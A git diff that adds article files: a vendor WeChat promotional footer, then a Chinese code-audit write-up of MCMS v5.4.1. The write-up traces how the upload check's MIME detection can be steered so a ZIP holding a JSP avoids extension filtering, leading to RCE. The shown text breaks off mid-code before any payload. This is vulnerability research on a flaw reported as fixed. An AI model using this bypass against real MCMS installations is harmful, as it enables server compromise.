+[炼石签约北方大数据交易中心打造天津数据安全新质生产力](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247548377&idx=1&sn=e5c36ef4c04db0d5a58459da57e8cab6&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaDORvT8COxl7kSMejpiaJfMiakARkiaT55iaUJ7ooyEnBaziaZaRzicU7RqicicwNw1yyibVzyIuz5DeN8lsMw/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报 | 炼石入选“晋数所”首批数据安全专业服务机构公示名单](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247550573&idx=1&sn=60b4caa6dbebb4b8e747265f3a69ba58&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaBFQMgF3744LibvLUl5fpbwmX2hxiau4SPB6h1Pwgyib6t0Urq4WuupfwORGvGEKIkCmnxIH88SpIdxw/640?wx_fmt=jpeg&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报 | 炼石入选首批“切面联盟技术合作伙伴计划”](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247552254&idx=1&sn=44dfb62a9515f43a26bbc8f06d3bc909&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaBT7sLjssia7YIhaHtl6icmpdg7DWUia4jZwz8icwwyicXT9lUIiazhduI3qwEy1UH00ySjgIlwJ3jZ97wA/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[湖南第一师范学院来访炼石，推动密码与数据安全合作](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247552372&idx=1&sn=bb14836b52f2a0f0d255552f34b895da&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaAVgc2z1k6icZbdovVPxzicowmQUXyDhczC1dicic2QaTw9KOVykcaKteibnUlo7Z1bPlLHyO17eicStpJQ/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[炼石受邀为中农控股培训数据安全](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247555732&idx=1&sn=943336115ba89bd1d3c6ace1a8e11b6c&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaA3nnU5Kj9ZVXicqgfNaibElootVz1fibbicYOsibRROLjKZpOWB2LBO1sT4C4A1NwXzFHaoZXdea0DxtA/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[炼石受邀出席长沙密码局主办的密评培训会](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247557252&idx=1&sn=e5127c5b61bf04f368203eaa2bb2eb42&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaBxpu8fcL4vXsn1iceWZjh3YRMsX0ajb6oDnibMk8kkicZy4T7ppQIYOZgmcgwtyAKsTJb3VvRiawhJyg/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报！炼石中标海关总署政务数据加密保护项目](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247560801&idx=1&sn=5157909ba3f4179649ffaa92c6317149&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaARfickEYzwhVmMngBicw3OagRzjR8Uwiahue0LmHzlpHoYP1bMznMqk6Mzo25wAzhAUJAt6hT7hfQQA/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报！炼石中标某大型商业银行金融数据与个人信息保护项目](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247560864&idx=1&sn=21c3af15a2b0dff6b8c0835853e9809d&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaATqupFJpxlIBjCYs2owCnPlQ9arCdLOrNdRTXvicJz7d0OOTFVclyuwelXWHB7gGallMJAWFrBB0w/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报！炼石中标马自达汽车行业数据加密保护项目](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247560970&idx=1&sn=09d13766a0aa14f3b4678faaf2cb401a&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaARfickEYzwhVmMngBicw3OagiaiaLkk7tnHbxoFBSFDxJEGnPwSlvIbDHnkwbtlh5FjEE1EcicOXKu6Hg/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报！炼石中标天合光能能源数据加密保护项目](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247560993&idx=1&sn=2faea358186ed4f92bd81f442f2a9a22&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaDG7sjwNOt4RgtIfhl4Ee0wLGbm0OooLYQoibraKUPGAaob5AO6EIwG1bHdokrtGtp6ftCSru14j8g/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报！炼石中标某全球领先家电制造商数据安全项目](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247561229&idx=1&sn=c95e19d184ea8387d84e10f7d28dbb13&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaDV01PjQsNGWFXRkib0aGXOGxthicCPacYRjQ7ZmQK9cbiaTZQ5ljsCuMewUAfTve4un7wXMef2ZIBQw/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报！炼石中标某大型国有综合性保险金融集团数据加密项目](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247561231&idx=1&sn=d395619d9c7e37fee040540992546806&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaDV01PjQsNGWFXRkib0aGXOGDJVl2ypdiaetrmCXyZu7F0OxHjXA5vIw05GsptuWTVLmvnJbSicddIBw/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[喜报！炼石中标华东某省级大数据中心加密项目](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247561290&idx=1&sn=276dc73ec40bc93704220b8e08c91b2d&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaDV01PjQsNGWFXRkib0aGXOGibibdN78C5O9hvz8ibpdXUreM8thMCNZTfpcP28ZhAKppchJSIZQaUwyQ/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +**扫码入群** + +**为了共同推动数据安全产业发展，欢迎行业同仁加入“[炼石]数据安全技术圈”微信群，探讨数据安全领域的技术经验和法规动态等。** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaB1Vp4Jwz1JVib8RAvreSuI1pxaaia8uoIrmia7ibibrOn9icbMQrGgL4rrUTTCic31PHnZfrhmmaropPdcA/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +**扫码入群** + + + + +**关注炼石的本公众号（或从微信中搜索公众号：炼石网络CipherGateway）并后台回复关键词** +**“炼石就是数据安全155”** +**，即可打包下载2024年终合辑全部资料。** + + +▼   +**往期精彩回顾****** +▼ + +[600页幻灯片图解国家金监局《银行保险机构数据安全管理办法》](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247567675&idx=1&sn=4a21de4fc32102a4b6fd78b9aae13137&chksm=c2285251f55fdb47b43d6f95188dac25863bfe8fdff0855767cfa960473c008abbfd0a224f1e&scene=21#wechat_redirect) + + + +[【招兵买马】炼石诚聘密码与数据安全精英！](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247563174&idx=1&sn=141c4524164bbd35955ef5782a4648ce&chksm=c2286cccf55fe5da7a6b39b2379b2716a28eba04b87c4c3a8420312625da864ee39a68727ad6&scene=21#wechat_redirect) + + + +[炼石荣膺国家级专精特新“小巨人”](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247554968&idx=1&sn=617e244c2ee8be72e681bc7dc1499493&chksm=c2298cf2f55e05e46841191e7b387ae782f57019d23690e1a99887961acbcc9b587dcfe996d6&scene=21#wechat_redirect) + + + +[](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247547280&idx=1&sn=6aafda662e4015973c0044030b63bf15&chksm=c229a2faf55e2bec982bf24738cd6bbcc23bbb9b9e78a1240c7798ca9c0ca00365650107aaf6&scene=21#wechat_redirect) + + +[炼石完成数千万融资，勇攀数据安全朗玛峰](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247547280&idx=1&sn=6aafda662e4015973c0044030b63bf15&chksm=c229a2faf55e2bec982bf24738cd6bbcc23bbb9b9e78a1240c7798ca9c0ca00365650107aaf6&scene=21#wechat_redirect) + + + +[收藏贴！120篇数据安全原创资料下载导航来了](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247554614&idx=1&sn=bfb5205d0b9fb66a0a8fd4b225093323&chksm=c2298d5cf55e044ab0fa20ad69ce71ca02b938c13c838dfe50997bff4b22bd8eb0fdfec24335&scene=21#wechat_redirect) + + + +[附下载 | 六大洲14国140项数据安全及跨境法规汇总分析(2024版)](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247549386&idx=1&sn=a0f6824a25df5747555f6ad450804547&chksm=c2299aa0f55e13b67118e3d9ed4124dc79c65e991277d2373ad8ca04f2f1fbe8846acd7a2435&scene=21#wechat_redirect) + + + +[二十年173项政务数据安全法规政策大合集（附下载）](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247519824&idx=1&sn=f9ccff39a78b17b9fc7334b71b1055bb&chksm=c229153af55e9c2cb2cbf3b634b03748340139bb71bd9269e6ae0579c651b0b77bec9e35c6ea&scene=21#wechat_redirect) + + + +[](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247525624&idx=1&sn=e0e8bc426818022dd86639b03557f8cf&chksm=c229ff92f55e7684ee983a15c1f640fe40d3e79d4182e02db32af45a97efe54e01c5c28275e0&scene=21#wechat_redirect) + +[500页幻灯片图解金融数据安全监管与技术要求（附下载）](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247525624&idx=1&sn=e0e8bc426818022dd86639b03557f8cf&chksm=c229ff92f55e7684ee983a15c1f640fe40d3e79d4182e02db32af45a97efe54e01c5c28275e0&scene=21#wechat_redirect) + + + +[](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247549685&idx=1&sn=f7c34cbbb5bd8a22f1d64fc91223d9b8&chksm=c229999ff55e1089de0b4fa3f5dc761779612f2f697b37611054bc823863cda247ecd90ded2c&scene=21#wechat_redirect) + +[民航局数据新规二次征求意见，明确使用密码技术保护数据安全](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247549685&idx=1&sn=f7c34cbbb5bd8a22f1d64fc91223d9b8&chksm=c229999ff55e1089de0b4fa3f5dc761779612f2f697b37611054bc823863cda247ecd90ded2c&scene=21#wechat_redirect) + + + +[交通运输部铁路关基保护办法今起施行｜附"空铁公水"关保图解](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247537491&idx=1&sn=e72cedbb34cebf1e6a08e24ec11c9868&chksm=c229c839f55e412fb1718ccf9edb35820ffa25997ae5d6315a6c771476fad00e6f87ac730ce3&scene=21#wechat_redirect) + + + +[历经23年130项电信数据安全法规政策大合集（附下载）](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247537580&idx=1&sn=a2a195405a3bec7b2317170fa4b9a50b&chksm=c229c8c6f55e41d07b2ac520d335f26d9658a8fa31f3a09885306ca5aa76cacfe79aac847c52&scene=21#wechat_redirect) + + + +[近三十年96项教育数据安全法规政策大合集（附下载）](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247520012&idx=1&sn=4b755985e5ece8c5a657d4c9d579299c&chksm=c2291466f55e9d702b5ee455fc23808accb2892e45d44cfc7a300417fe1bfd5007974a37c110&scene=21#wechat_redirect) + + + +[附下载｜200页幻灯片图解医疗数据安全](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247535504&idx=1&sn=b5e74d555c22bb784d208c2bb13fca4e&chksm=c229d0faf55e59ecd3d35af659e29d933ec0f693241f12b70f7ec573f7cdcfb9fd793a306223&scene=21#wechat_redirect) + + + +[速下载｜200页幻灯片图解工信部数据安全风险评估实施细则](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247548160&idx=1&sn=61d48554e958dae2c2d7d499a52b4fe7&chksm=c229a66af55e2f7c1e125b3a7c0712375c108827bf743f9da8bcf4d9c9bb67a9a92ed0727fba&scene=21#wechat_redirect) + + + +[附下载 | 100项能源领域网络与数据安全政策全集(2024版)](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247547897&idx=1&sn=b67f982667333053ed1301c61ecf6574&chksm=c229a093f55e29859f3626ec4752c70d1f2a6bc31baf6d01af6b75880f32f2d166bba3dfb785&scene=21#wechat_redirect) + + + +[自然资源部发布数据安全管理办法，要求加密保护各环节数据！](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247550388&idx=1&sn=5421fe01eb024db2198b181097095bc0&chksm=c2299edef55e17c88f847296000731891837e31c5fe7a2686da3d217644952bbe9f66ac6b0fa&scene=21#wechat_redirect) + + + +[附下载｜400页幻灯片图解密评密改（2024版）](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247540784&idx=1&sn=e28a4a993900c13a452fd47602fc60b9&chksm=c229bb5af55e324c72bd287eae774cedb1aa6cf0d2e82cec8ea86fbbd6126e445be184bdc441&scene=21#wechat_redirect) + + + +[密评红宝书 | 一书在手，密评我有](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247529557&idx=1&sn=76aaec75fceb6f4267aba764338d5ffd&chksm=c229ef3ff55e66292d0eb20405789c0dffcded0f038517db9163e2d0ee22e220775804e7bbe4&scene=21#wechat_redirect) + + + +[200页图解国标《数据分类分级规则》正式稿，强化重要数据识别](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247545874&idx=1&sn=f1fa27b9035d759060e41a75e6a243ec&chksm=c229af78f55e266efd09dd26bb48bb3be16d0311c8275b63aaae1b14e1ec6b1564eb12ddb51f&scene=21#wechat_redirect) + + + +[300页幻灯片图解数据安全风险评估（附下载）](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247518216&idx=1&sn=fa91a8a4f16299bc2dc93885f25f4f4b&chksm=c2291362f55e9a7444f8bc367153bc67e92d70c280034bc491c4c0140b27d27f9b116fbfcda4&scene=21#wechat_redirect) + + + +[速下载｜图解《关键信息基础设施安全保护要求》，五一起实施](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247516525&idx=1&sn=41d4da8ba27be2475a468c84314b9a4b&chksm=c2291a07f55e93110c8201590fbf803019900ba268a09363ad1cff7ceb764d96773787538042&scene=21#wechat_redirect) + + + +[速下载｜历经24年累计419项网络与数据安全国标全景剖析](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247547435&idx=1&sn=027a60e5e7aeb4604b0f525bd2516420&chksm=c229a141f55e285707bec8ca3928e425dc79c5a2f5e4868fcb16192b356f7f1823c98a13ca63&scene=21#wechat_redirect) + + + +[速下载 | 《248项密码标准全景图（2024版）》来了](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247551656&idx=1&sn=042f12bef7253a95c28ee83617328232&chksm=c22991c2f55e18d43956233c8bccf18aa94e247ad922bdc6b4f6c641ecdac17797b684fa6596&scene=21#wechat_redirect) + + + +[数据安全法一周年 | 2022数据安全技术白皮书(19万字附下载)](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247502777&idx=1&sn=9a95f40c75107a2a4b6b06fb7d98d10a&chksm=c22950d3f55ed9c5bc9ea64ff899dec068f7d6f39b9d9fad8d5f819c1edab1c1d8839d9cec23&scene=21#wechat_redirect) + + + +[22万字数据安全产业洞察报告(下载)  |《数据安全法》一周年](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247501029&idx=1&sn=26f7f87f091056653117154e80badf9d&chksm=c2295f8ff55ed6996f53fafb45d6ba519d8cdc0806c791efb4a79b8cec2c80abeb2e4451b446&scene=21#wechat_redirect) + + + +[17万字 | 2021密码应用技术白皮书（附下载）](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247495312&idx=1&sn=3d8a4687dbca2accb612acbaed579248&chksm=c22975faf55efcec57da9597cfe9fa9aa2b12d15e0231c695ff0c36ace8ab6a9228b49146d62&scene=21#wechat_redirect) + + + +[三万字 | 2021密码产业洞察报告（附下载）](http://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247491809&idx=1&sn=1d40c115e4d8906371564a615ce79d84&chksm=c2297b8bf55ef29d6b928c694c0973b3db565769fb86c0411869f9d8b759ce6c961b8834c038&scene=21#wechat_redirect) + + + +![](https://mmbiz.qpic.cn/mmbiz_png/1b0TpIaesE1w5EnsZYZTLNKXtlF5K964kZKyRwOF7Syo51ibPTpRbhvrJ6PB6dAD6JS0REltp2hbpTkictDa9XxA/640?wx_fmt=jpeg&random=0.649537505946431&random=0.22443382828277447&random=0.29456328787913355&random=0.38357791678820075&random=0.924424008177307&random=0.7829543466583897&random=0.1275816300079735&random=0.7326911794982816&random=0.8953581390899854&random=0.9066631308977253&random=0.1215647672922231&random=0.3229544475998496&random=0.6024575811954183&random=0.8763661336195074&random=0.16440554476154823&random=0.7095239476683457&random=0.7785447383788933&wx_&random=0.23572964980174738&random=0.048595546921024635&random=0.6547914987195911&random=0.9693953232845189&random=0.6492506468123815&random=0.08595550736831892&random=0.033417020115983576&random=0.8703469267671249&random=0.2919571572472741&random=0.7494380075049625&random=0.817251130346226&random=0.33834214369864046&random=0.7098126622947911&random=0.2103524661132219&random=0.21830356658269712&random=0.5393776904573182&random=0.23885806951512434&random=0.546482282803709&random=0.34424909266947057&random=0.07730970885311494&random=0.6534560794731998&random=0.24264435825420816&random=0.9647606852566264&random=0.4491187739765359&wxfrom=5&wx_lazy=1&wx_co=1&&random=0.3839067822064455&random=0.5527926061435362&random=0.4612056677425489&random=0.01480705946499028&random=0.38560350030947954&tp=webp "") + + + +炼石网络创立于2015年2月，是一家以“免改造”为创新特色的数据安全产品厂商，国家级专精特新“小巨人”企业，先后获得安天、国科嘉和、腾讯、重庆科技成果转化基金、朗玛峰创投等投资。炼石自研可灵活挂载多重安全能力的免改造平台，帮政企客户打造领先的数据安全保护体系，同时敏捷交付国密合规改造。炼石已交付超两百家行业头部客户，产品已生产级部署在政府、金融、交通、电信、医疗、教育、工业、能源、商业等行业用户广泛的关键应用系统，当前实时保护着超千套应用、十多亿人口信息、数千亿条敏感数据，保障数据监管合规，促进数据有序流通。 + + +微信号：炼石网络CipherGateway + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaBsgYIz89z6cia2zuBQXL1mjvlibtNnH15iaNNydGfphXKViaFNDSYVicfsxu5YtbgnpQ4ZzY0MmGv5YgQ/640?wx_fmt=jpeg&random=0.165080126599493&random=0.17493943976521775&random=0.8273123666902189&random=0.8599771411184192&random=0.1430562200838319&random=0.4817267557590743&random=0.625095372978127&random=0.7321248530667095&random=0.017455534216231028&random=0.5347828867017883&random=0.1911276201989851&random=0.05081719098023729&random=0.5295447835330758&random=0.8821736158601827&random=0.3270410016545897&random=0.49318547085525655&random=0.7788046730010487&wx_&random=0.9204838166308349&random=0.20053031957736178&random=0.3527136479738673&random=0.8465457628905686&random=0.27681669159114497&random=0.20986360085483913&random=0.47656540758603594&random=0.02401465479625764&random=0.8396181451410589&random=0.1609101052142463&random=0.003578416807654916&random=0.05324339714066406&random=0.057390873749295634&random=0.32067548366710974&random=0.534067887835588&random=0.26128175834307266&random=0.33112900464222284&random=0.6966275289086099&random=0.8440211584050692&random=0.9842549350255863&random=0.6080952633696026&random=0.6710239322886404&random=0.40953402776681624&random=0.4762907880956615&wxfrom=5&wx_lazy=1&wx_co=1&&random=0.9389004376798396&random=0.006100952402865234&random=0.01826848705121309&random=0.9729118866024933&random=0.16875764493704049&tp=webp "") + + diff --git a/doc/代码审计 - MCMS v5.4.1 0day挖掘.md b/doc/代码审计 - MCMS v5.4.1 0day挖掘.md new file mode 100644 index 00000000..aedb12ae --- /dev/null +++ b/doc/代码审计 - MCMS v5.4.1 0day挖掘.md @@ -0,0 +1,471 @@ +# 代码审计 - MCMS v5.4.1 0day挖掘 + 船山信安 2025-01-02 18:00 + +## 一、前言 + +MingSoft MCMS + 是中国铭飞 (MingSoft) 公司的一个完整开源的 J2ee + 系统，可以到 Github 下载到源码，官网  +铭软・铭飞官网・低代码开发平台・免费开源Java Cms + +笔者针对 MCMS v5.4.1 + 进行代码审计，发现存在一个后台 uploadTemplate + 绕过限制上传 jsp 实现 rce，以及一个前台文件上传 rce，本文将对完整的漏洞挖掘与利用思路进行讲解 + +MCMS 的最新版本已更新到 5.4.2 +，且已对上述漏洞进行了修复 +## 二、免责声明 + +该文章仅供学习用途使用，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关 +## 三、环境搭建 + +版本：MCMS v5.4.1， +Release 5.4.1 · ming-soft/MCMS · GitHub + +打包成 war，使用 tomcat 搭建 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnicGfQiajODpjF3oImQs25IdHSU8E69CYfkOXOQTx0jkrbP8owvCgylVg/640?wx_fmt=png&from=appmsg "") +## 四、后台文件上传 CVE-2024-42990 +> 该 CVE 编号已被分配，但详细信息尚未公开 + + +在后台找到文件上传的地方 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnrjWibJwMPJaYUDnS4vkVoP3XiaMByPZNKdGPCyFURmruo1hIk5nCicGJg/640?wx_fmt=png&from=appmsg "") + +抓包，找到对应的路由 /ms-mcms/ms/file/uploadTemplate.do + +上传一个 zip，里面包含着 jsp，会发现他提示 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnZ5tyM2PO1wALYQGPAwGx0czZ84E2mPp9rXXqRhXaM8ThfuNZa2UXTA/640?wx_fmt=png&from=appmsg "") + +说明他有一个地方在检查我们上传的文件，所以要找到这个地方，查看对应的代码逻辑 + +最后找到是在 FileVerifyAop.class +``` +@Around("uploadPointCut()") +    public Object uploadAop(ProceedingJoinPoint joinPoint) throws Throwable { +        UploadConfigBean bean = (UploadConfigBean)super.getType(joinPoint, UploadConfigBean.class); +        String uploadFileName = FileNameUtil.cleanInvalid(bean.getFile().getOriginalFilename()); +        if (StringUtils.isBlank(uploadFileName)) { +            return ResultData.build().error("文件名不能为空!"); +        } else { +            InputStream inputStream = bean.getFile().getInputStream(); +            String mimeType = BasicUtil.getMimeType(inputStream, uploadFileName); +            if ("zip".equalsIgnoreCase(mimeType)) { +                try { +                    this.checkZip(bean.getFile(), false); +                } catch (Exception var7) { +                    return ResultData.build().error(var7.getMessage()); +                } +            } +            return joinPoint.proceed(); +        } +    } +``` + + +打下断点跟踪一下，判断后缀是 zip 之后会进入 checkZip + 函数，跟进去看一下 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnIf62WJT3UX4y4rIxmu5MobmbdYI4JOsPS2IeTxZYhiawBiand4ibpK7wQ/640?wx_fmt=png&from=appmsg "") + +可以看到他是先解压出来，然后检测每个文件的后缀，如果后缀等于 jsp，就返回 jsp 不可以上传 + +所以我们需要绕过这个 checkzip。可以看到他进入 check 是需要他得到的后缀为 zip。我们跟进去看看他是如何 getMimeType + 的 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVngynXIr194j5wjFIibDHJVgV8ibVSgpGSXQLBH034MIzdYWkBXfZ0RaAw/640?wx_fmt=png&from=appmsg "") + +可以发现他返回 fileType + 之前还获取了 contentType +，并重新对 fileType + 进行了赋值，这是否意味着我们可以从这里进行控制返回的 fileType +？ + +我们跟进 parse + 函数 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnVuRNHpNh9Tj7GPROVsrxE93OIMgagOSLQQicMIZkxukzWPOpzYPbnng/640?wx_fmt=png&from=appmsg "") + +可以发现 type 从这里赋值了，我们进入 detect + 函数 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnKHNgtWAmMttR6Mhbfqkn91SuNUFx5szmicbSudnEhWYZhMk03jnJmXw/640?wx_fmt=png&from=appmsg "") + +type 在这里赋值了，继续跟进 detect + 函数。这里是一个循环，要进入第二次循环的 detect + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnM3Y2MGxETDn4kmSdsJW29NmH6jAgDvQZbw9Tm9oEvQOat9POmCTsVA/640?wx_fmt=png&from=appmsg "") +``` +public MediaType detect(InputStream input, Metadata metadata) throws IOException { +        List possibleTypes = null; +        if (input != null) { +            input.mark(this.getMinLength()); +            try { +                byte[] prefix = this.readMagicHeader(input); +                possibleTypes = this.getMimeType(prefix); +            } finally { +                input.reset(); +            } +        } +        String resourceName = metadata.get("resourceName"); +        String name; +        if (resourceName != null) { +            name = null; +            boolean isHttp = false; +            try { +                URI uri = new URI(resourceName); +                String scheme = uri.getScheme(); +                isHttp = scheme != null && scheme.startsWith("http"); +                